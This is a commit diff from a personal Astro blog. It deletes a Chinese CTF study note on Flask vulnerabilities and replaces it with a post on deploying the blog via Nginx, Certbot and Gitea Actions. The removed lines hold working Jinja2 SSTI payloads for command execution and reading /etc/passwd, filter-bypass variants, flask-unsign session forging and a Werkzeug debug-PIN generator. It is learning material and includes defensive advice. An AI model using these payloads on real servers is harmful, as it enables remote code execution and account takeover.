upload something new
All checks were successful
自动构建并部署Astro博客 / build-and-deploy (push) Successful in 44s
All checks were successful
自动构建并部署Astro博客 / build-and-deploy (push) Successful in 44s
This commit is contained in:
@@ -1,246 +1,177 @@
|
||||
---
|
||||
title: 'Python 漏洞初阶'
|
||||
description: 'Here is a sample of some basic python 漏洞'
|
||||
pubDate: 'Apr 13 2026'
|
||||
heroImage: '../../assets/boy.jpg'
|
||||
title: '部署了人生中第一个博客'
|
||||
description: 'Astro 博客部署'
|
||||
pubDate: 'Apr 22 2026'
|
||||
heroImage: '../../assets/BladeRunner.png'
|
||||
---
|
||||
|
||||
# SSTI
|
||||
## 在真正部署前我干了啥😫(可以不看)
|
||||
|
||||
## flask框架中的ssti
|
||||
[flask框架漏洞](https://blog.csdn.net/weixin_44190459/article/details/116774912)
|
||||
>由于本人急切想实现外网访问,且不知为何偏好Apache,于是很早之前就把本地项目以下载的形式放在了服务器上,而不是git push。且gitea仓库里也是zip文件😫,还写了如下文字。千万不要这样。
|
||||
|
||||
[Python 正则表达式 | 菜鸟教程](https://www.runoob.com/python/python-reg-expressions.html)
|
||||
[Python 面向对象 | 菜鸟教程](https://www.runoob.com/python/python-object.html)
|
||||
|
||||
>SSTI(Server-Side Template Injection) 服务端模板注入 ,服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分渲染,可能导致敏感信息泄露、代码执行、GetShell 等。
|
||||
|
||||
如何避免:
|
||||
1. 不要使用`f-string`拼接模板,`render_template_string`,如
|
||||
`render_template_string(f"Hello {name}")`
|
||||
安全的写法:`render_template('index.html',name=name)`
|
||||
2. 只把用户输入当变量传,而不是模板代码;如果必须动态渲染,一定要严格过滤`{{}} {% %} {# #}`等
|
||||
|
||||
利用方式:
|
||||
获取到基类 object,重点关注 os/file 这些关键字。如`{{("".__class__.__base__.__subclasses__())}}`查看所有子类,再用脚本寻找可以利用的类:
|
||||
```python
|
||||
import re
|
||||
|
||||
data=r'''[<class 'type'>, <class 'async_generator'>]'''
|
||||
|
||||
useful_class=['linecache', 'os._wrap_close', 'subprocess.Popen',
|
||||
'warnings.catch_warnings', '_frozen_importlib._ModuleLock',
|
||||
'_frozen_importlib._DummyModuleLock', '_frozen_importlib._ModuleLockManager',
|
||||
'_frozen_importlib.ModuleSpec']
|
||||
|
||||
pattern=re.compile(r"'(.*?)'")
|
||||
|
||||
class_list=pattern.findall(data)
|
||||
for i in class_list:
|
||||
for j in useful_class:
|
||||
if j in i:
|
||||
print(str(class_list.index(i))+":"+i)
|
||||
```
|
||||
|
||||
但是有的题目不会显示subclasses,这是需要我们直接输入小脚本,观察页面回显,如
|
||||
```python
|
||||
{% for x in ().__class__.__base__.__subclasses__() %}
|
||||
{% if "warning" in x.__name__ %}
|
||||
{{x.__init__.__globals__['__builtins__'].open('/etc/passwd').read()}}
|
||||
{%endif%}
|
||||
{%endfor%}
|
||||
```
|
||||
|
||||
获取到有用的类的下标后,我们可以进行:
|
||||
#### 命令执行
|
||||
```python
|
||||
{{().__class__.__bases__[0].__subclasses__()[160].__init__.__globals__['popen']('ls').read()}}
|
||||
```
|
||||
可以先看这个类里面有什么`__globals__.keys()`,这里直接`__globals__['popen']`是因为发现__globals__下面没有os模块,如果有,可以`__globals__['os'].popen('ls').read()`
|
||||
|
||||
```python
|
||||
{{().__class__.__bases__[0].__subclasses__()[160].__init__.__globals__.__builtins__['eval']('__import__('os').popen('ls /').read()')}}
|
||||
|
||||
```
|
||||
有些ctf题`ls`发现没有与flag相关的文件夹,flag可能在环境变量`env`里,即`__globals__['popen']('env').read()`
|
||||
#### 文件读取
|
||||
```python
|
||||
{{().__class__.__bases__[0].__subclasses__()[160].__init__.__globals__.__builtins__['open']('1.txt').read()}}
|
||||
```
|
||||
发现无法打开.py文件?
|
||||
### 绕过
|
||||
[linux命令绕过](https://blog.csdn.net/m0_67844671/article/details/133239381)
|
||||
#### 关键字(空格,点号)过滤
|
||||
|
||||
```python
|
||||
# +号拼接绕过,也用于点过滤
|
||||
{{ ""['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']() }}
|
||||
```
|
||||
|
||||
```python
|
||||
# 使用Jinjia2的~号拼接
|
||||
{% set a='__cl' %}{% set b='ass__' %}{% set c='__ba' %}{% set d='se__' %}{{()[a~b][c~d] }}
|
||||
```
|
||||
注意拼接时`()`要放在引号外面,`subclasses` 是方法,不是属性。方法必须加 () 调用,不能直接当键名查
|
||||
|
||||
```python
|
||||
# 使用过滤器reverse绕过
|
||||
{% set a='__ssalc__'|reverse %}{{ ()[a] }}
|
||||
# 不带空格简洁
|
||||
{{''['__ssalc__'[::-1]]}}
|
||||
```
|
||||
|
||||
```python
|
||||
# 使用 join 过滤器绕过,同时可以绕过引号过滤
|
||||
{% set a=dict(__cl=a,ass__=a)|join %}{{ ()[a] }}
|
||||
```
|
||||
#### 符号过滤
|
||||
|
||||
```python
|
||||
# {{和}}被过滤使用{%和%}绕过
|
||||
{% print(''.__class__) %}
|
||||
```
|
||||
`{% %}`定义变量、循环、判断等逻辑操作,不输出
|
||||
```python
|
||||
# 中括号过滤,魔术方法__getitem__可代替中括号
|
||||
.__subclasses__().__getitem__(13).__getitem__('popen')
|
||||
```
|
||||
|
||||
```python
|
||||
# 过滤点[]
|
||||
{{()|attr('__class__')|attr('__base__')}}
|
||||
```
|
||||
|
||||
```python
|
||||
# 下划线被过滤,可以使用过滤器输入下划线,如使用函数attr()
|
||||
{{()|attr(request.form.p1)|attr(request.form.p2)}}
|
||||
# 同时post传参p1=__class__&p2=__base__
|
||||
|
||||
#也可以将下划线16进制编码
|
||||
{{()['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']}}
|
||||
```
|
||||
|
||||
```python
|
||||
# 单双引号被过滤可get/post传参
|
||||
#get传参 ?p1=popen&p2=cat /flag
|
||||
{{.__globals__[request.args.p1](request.args.p2).read()}}
|
||||
```
|
||||
|
||||
```python
|
||||
# 数字被过滤,a=5*5+1=26
|
||||
{% set a='aaaaa'|length*'aaaaa'|length+'a'|length %}{{().__class_.__base__.__subclasses__()[a]}}
|
||||
```
|
||||
|
||||
获取特殊字符
|
||||
```python
|
||||
{% set a=(lipsum|string|list) %}{{a[18]}}
|
||||
```
|
||||
|
||||
![[Pasted image 20260405175857.png]]
|
||||
### 工具
|
||||
|
||||
鸡肋?焚靖(fenjing)是一个针对CTF比赛中Jinja SSTI绕过WAF的全自动脚本,但咋没用?
|
||||
|
||||
## flask session
|
||||
|
||||
[Python Flask Session漏洞](https://blog.csdn.net/qq_46143339/article/details/155313682)
|
||||
flask session 存储在客户端cookie中,且仅对session进行了签名。
|
||||
cookie结构
|
||||
```python
|
||||
.base64(payload).base64(timestamp).base64(hmac-signature)
|
||||
```
|
||||
### 流程示例
|
||||
|
||||
1. 找到cookie中的session值,用flask-unsign解密,得到类似于`{'is_admin': False}`的形式
|
||||
1. 把本地的Astro项目打包。根目录里输入
|
||||
```bash
|
||||
flask-unsign --decode --cookie 'eyJpc19hZG1pbiI6ZmFsc2V9'
|
||||
npm run build
|
||||
```
|
||||
2. 找secret_key,方法很多,看题目
|
||||
- debug=True
|
||||
- 在源码/配置文件里找 app.py config.py .env .git,可结合任意文件读取
|
||||
- 结合ssti `{{config.SECRET_KEY}}`
|
||||
- [字典爆破](https://github.com/dw0rsec/rockyou.txt)
|
||||
会生成一个`dist`文件夹,即我们的博客成品
|
||||
2. 将一整个文件夹传到服务器`/var/www/blog`(用的apache)我这里绕了一点弯路,本来打算先将dist.zip传到gitea,再在服务器端下载,后来发现一种更简单的方式
|
||||
- 安装lrzsz(Linux下命令行文件传输工具,实现本地-服务器互传文件,但不能传文件夹,要打包)
|
||||
```bash
|
||||
flask-unsign --unsign --cookie 'eyJpc19hZG1pbiI6ZmFsc2V9' --wordlist rockyou.txt
|
||||
apt install lrzsz -y
|
||||
cd /var/www/blog
|
||||
rz #上传文件到服务器,会弹出窗口
|
||||
sz #下载
|
||||
```
|
||||
3. 构造管理员session
|
||||
- 解压
|
||||
```bash
|
||||
unzip -o dist.zip -d /var/www/blog/ #-o 覆盖已有文件
|
||||
```
|
||||
我还碰到了问题就是它传成了/var/www/blog/dist,使用`mv dist/* .`就可以解决了。
|
||||
3. 配置Apache
|
||||
```bash
|
||||
flask-unsign --sign --secret "weak_key" --cookie "{'is_admin': True}"
|
||||
vim /etc/apache2/sites-available/000-default.conf
|
||||
#改为 DocumentRoot /var/www/blog
|
||||
systemctl restart apache2
|
||||
```
|
||||
4. 配置HTTPS
|
||||
用 Certbot 给 Apache 配置免费 Let's Encrypt 证书,一键开启 HTTPS:(还没有深入理解原理)
|
||||
```bash
|
||||
apt install certbot python3-certbot-apache -y
|
||||
certbot --apache -d marvinhers.site
|
||||
```
|
||||
|
||||
### 防御
|
||||
用强随机密钥
|
||||
把`secret_key`写在**环境变量**或**配置文件**中
|
||||
生产环境关闭debug
|
||||
```python
|
||||
app.config.update(
|
||||
SECRET_KEY = os.urandom(24), # 必须强随机
|
||||
SESSION_COOKIE_HTTPONLY = True,
|
||||
SESSION_COOKIE_SECURE = True, # 强制HTTPS
|
||||
SESSION_COOKIE_SAMESITE = 'Strict',
|
||||
)
|
||||
```
|
||||
## flask-debug模式的安全隐患
|
||||
并且由于之前在服务器docker里装了gitea,本人不知为何想实现自个网站可登gitea,由此配了子域名git.marvinhers.site,这会牵扯到后面的反向代理😅
|
||||
|
||||
开发环境中设置`app.run(debug=True)`时,它提供了自动重载、详细的错误页面和交互式调试器等便利功能。
|
||||
在`debug`的环境下输入`PIN`码调用`python`的交互式`shell`
|
||||
## 浅谈一下部署过程🤯
|
||||
|
||||
> 但需要6个参数呃呃呃
|
||||
```
|
||||
1. username: 运行该Flask程序的用户名 /etc/passwd文件内
|
||||
2. modname: 模块名 flask.app
|
||||
3. getattr(): app名,值为Flask
|
||||
4. getattr(): Flask目录下的一个app.py的绝对路径,这个值可以在报错页面看到。但有个需注意,Python3是 app.py,Python2中是app.pyc。 报错页面回显(访问报错界面 输入不能识别的参数) str(uuid.getnode()):
|
||||
5. MAC地址,读取这两个文件地址:/sys/class/net/eth0/address或者/sys/class/net/ens33/address
|
||||
6. get_machine_id(): 系统id /etc/machine-id 或者docker环境id /proc/self/cgroup
|
||||
成果🫠:[点击访问虽然没什么内容主页也没写好](https://marvinhers.site/about/) [配了个子域名](https://git.marvinhers.site)
|
||||
>博客用TuF3i推荐的Astro框架(nodejs 开发构建),代码放在Gitea,Act runner 实现cicd,web服务器用的Nginx,https加了密的。
|
||||
### 配置Nginx
|
||||
|
||||
>同为web服务器软件,它们都可以让别人通过网址访问服务器上的网站、接口、文件。但nginx轻量,占有内存少,并发能力强,在负载均衡和反向代理领域表现出众,处理静态资源也更👍
|
||||
|
||||
针对我这个博客,先不管主配置`/etc/nginx/nginx.conf`,因为它有`include /etc/nginx/sites-enabled/*;`所以主要是修改它的子配置
|
||||
在`sites-available`下增加了`blog`和`gitea`两个配置文件,gitea配的是反向代理,虽然这样意义不大,但也算是把学的知识运用一下...
|
||||
```nginx
|
||||
# 以gitea配置为例
|
||||
# 仅保留核心:80端口 + 子域名 + 反向代理
|
||||
server {
|
||||
listen 80;
|
||||
server_name git.marvinhers.site;
|
||||
location / {
|
||||
proxy_pass http://127.0.0.1:3000;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
因为需要读取文件目录,就要找执行文件读取函数的模块子类,所以会搭配`ssti`注入,如获取mac地址
|
||||
```python
|
||||
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/sys/class/net/eth0/address').read()}}
|
||||
```bash
|
||||
# 软链接启用配置
|
||||
ln -s /etc/nginx/sites-available/blog /etc/nginx/sites-enabled/
|
||||
ln -s /etc/nginx/sites-available/gitea /etc/nginx/sites-enabled/
|
||||
# 测试配置无误
|
||||
nginx -t
|
||||
nginx -s reload
|
||||
```
|
||||
|
||||
```python
|
||||
import hashlib
|
||||
from itertools import chain
|
||||
|
||||
probably_public_bits = [
|
||||
'flaskweb' # 1.username
|
||||
'flask.app', # 2.modname
|
||||
'Flask', # 3.appname
|
||||
'/usr/local/lib/python3.7/site-packages/flask/app.py' # 4.moddir
|
||||
]
|
||||
|
||||
private_bits = [
|
||||
'130771165565282', # 5.str(uuid.getnode())
|
||||
'1408f836b0ca514d796cbf8960e45fa1' # 6.machine-id
|
||||
]
|
||||
|
||||
# py<=3.7 是 md5 ,3.8 以后是 sha1
|
||||
h = hashlib.md5()
|
||||
for bit in chain(probably_public_bits, private_bits):
|
||||
if not bit:
|
||||
continue
|
||||
if isinstance(bit, str):
|
||||
bit = bit.encode('utf-8')
|
||||
h.update(bit)
|
||||
h.update(b'cookiesalt')
|
||||
|
||||
cookie_name = '__wzd' + h.hexdigest()[:20]
|
||||
|
||||
num = None
|
||||
if num is None:
|
||||
h.update(b'pinsalt')
|
||||
num = ('%09d' % int(h.hexdigest(), 16))[:9]
|
||||
|
||||
rv = None
|
||||
if rv is None:
|
||||
for group_size in 5, 4, 3:
|
||||
if len(num) % group_size == 0:
|
||||
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
|
||||
for x in range(0, len(num), group_size))
|
||||
break
|
||||
else:
|
||||
rv = num
|
||||
print(rv)
|
||||
#后续还要深入学习
|
||||
[Nginx 服务器安装及配置文件详解 | 菜鸟教程](https://www.runoob.com/w3cnote/nginx-install-and-config.html)
|
||||
[反向代理](https://mp.weixin.qq.com/s?__biz=MzA5MTkyMTQ0NA==&mid=2247486136&idx=1&sn=fb7ca1c55e681bdb082d3796e9dbbe04&chksm=907447f3a703cee53b7067685c9d710f5f99946c9d09865099647edd061df7ebdbb010bc34fe&scene=178&cur_album_id=3920274935729356806&search_click_id=#rd)
|
||||
(虽然学长的课还没听完)
|
||||
预留`acme.sh`
|
||||
先用certbot简单配一下吧,以后使用泛域名证书再改用acme.sh......
|
||||
所以后面就简单地...
|
||||
```bash
|
||||
certbot --nginx -d marvinhers.site -d git.marvinhers.site
|
||||
```
|
||||
|
||||
这样讲起来怎么只有这么一点,鬼知道我弄了多久。
|
||||
### 在Gitea上实现CICD
|
||||
|
||||
第一节课的时候接触了gitea 的 actions,配置了一些东西,当时确实挺懵的。
|
||||
再从头顺一遍吧
|
||||
#### 开启actions功能
|
||||
|
||||
```bash
|
||||
docker exec -it gitea bash
|
||||
vim /data/gitea/conf/app.ini
|
||||
# 添加以下然后退出容器
|
||||
# [actions]
|
||||
# ENABLED=true
|
||||
docker restart gitea
|
||||
```
|
||||
#### 开启act runner
|
||||
|
||||
Act Runner是一个独立的小程序,它从 Gitea 那里领任务(比如“有人推送代码了,去执行 .gitea/workflows/deploy.yml 文件里的命令”),然后在服务器上执行这些命令。
|
||||
推荐是在docker里运行的,这里建议看官方文档是如何注册,挂载,运行。这里重点讲一下==挂载==
|
||||
==挂载 volume 是实现 服务器 和 Act Runner容器 之间的文件互通==
|
||||
```yml
|
||||
# 这里展示一下 /root/runner/docker-compose.yml
|
||||
# 关于令牌,建议参考官方文档
|
||||
services:
|
||||
runner:
|
||||
image: gitea/act_runner:nightly
|
||||
environment:
|
||||
CONFIG_FILE: /config.yaml
|
||||
GITEA_INSTANCE_URL: "https://git.marvinhers.site"
|
||||
GITEA_RUNNER_REGISTRATION_TOKEN: "{Token}"
|
||||
GITEA_RUNNER_NAME: "marvin-blog-runner"
|
||||
GITEA_RUNNER_LABELS: "ubuntu-latest,self-hosted"
|
||||
volumes:
|
||||
- ./config.yaml:/config.yaml
|
||||
- ./data:/data
|
||||
- /var/run/docker.sock:/var/run/docker.sock
|
||||
- /var/www/blog:/var/www/blog
|
||||
```
|
||||
==令牌(Token)==是一个注册认证,绑定runner到你的Gitea实例,连接gitea服务器,有不同级别,可复用,可重置。
|
||||
我是直接用了实例级别的,仓库级别获取好像出了点问题
|
||||
#后续再了解
|
||||
```bash
|
||||
docker exec -u git -it gitea gitea actions generate-runner-token
|
||||
```
|
||||
然后`docker compose down` `docker compose up -d` `docker ps` 就能看到在运行了!
|
||||
|
||||
#### 终于workflows
|
||||
##### 讲几个笨得流黄汤的点(没按顺序):
|
||||
- 同步到服务器
|
||||
```yml
|
||||
- name: 同步到服务器
|
||||
uses: appleboy/scp-action@master
|
||||
with:
|
||||
host: ${{ secrets.SERVER_IP }}
|
||||
username: ${{ secrets.SERVER_USER }}
|
||||
port: ${{ secrets.SERVER_PORT }}
|
||||
key: ${{ secrets.SERVER_SSH_KEY }}
|
||||
source: "dist/"
|
||||
target: "/var/www/blog/"
|
||||
overwrite: true
|
||||
strip_components: 1
|
||||
# 1.那一大堆变量这些都是和服务器相关的,尤其ssh_key是在服务器上生成的,我记得我之前填的是在本地生成的。
|
||||
# 2.source 的值和 strip_components 扯上关系。后者让前者剥离dist目录
|
||||
```
|
||||
生成密钥的bash
|
||||
#后续了解
|
||||
```bash
|
||||
cd ~/.ssh
|
||||
ssh-keygen -t rsa -f id_rsa -N ""
|
||||
cat id_rsa.pub >> authorized_keys
|
||||
chmod 600 authorized_keys
|
||||
chmod 700 ~/.ssh
|
||||
```
|
||||
|
||||
- ==git==相关,与我自个有关。
|
||||
由于之前笨得流黄汤,把zip传到了gitea...
|
||||
然后还有对git命令还不太熟悉...这没啥好说的,肯定是要掌握的东西。💪
|
||||
#后续还要深入学习
|
||||
```bash
|
||||
# 然后简单触发一下工作流
|
||||
git add .
|
||||
git commit -m "fix: some mistakes"
|
||||
git push -u origin main
|
||||
```
|
||||
然后其实是碰上各种各样的问题的,包括一些`.gitignore`的书写导致上传巨慢,HTTP 413报错(上传的代码包体积超过了 Nginx 上限)后在Nignx配置的server块下添加`client_max_body_size 100M;`指令等等啊。
|
||||
## 浅浅总结
|
||||
|
||||
啊确实学到了很多,但是我的基础不太行,像什么docker,git以及文章中一些标签的地方还要深入学习。
|
||||
然后其实在部署的时候是一个逆向由深入浅的过程碰到问题--再解决,这很不顺,也很浪费时间,所以还是要打好基础🐷以后多多部署东西熟悉熟悉🐷
|
||||
@@ -13,7 +13,7 @@ import { SITE_DESCRIPTION, SITE_TITLE } from '../consts';
|
||||
<body>
|
||||
<Header />
|
||||
<main>
|
||||
<h1>Sorry,see me at About to learn more</h1>
|
||||
<h1>太懒主页还没开发</h1>
|
||||
<p>
|
||||
Welcome to the official <a href="https://astro.build/">Astro</a> blog starter template. This template
|
||||
serves as a lightweight, minimally-styled starting point for anyone looking to build a personal
|
||||
|
||||
Reference in New Issue
Block a user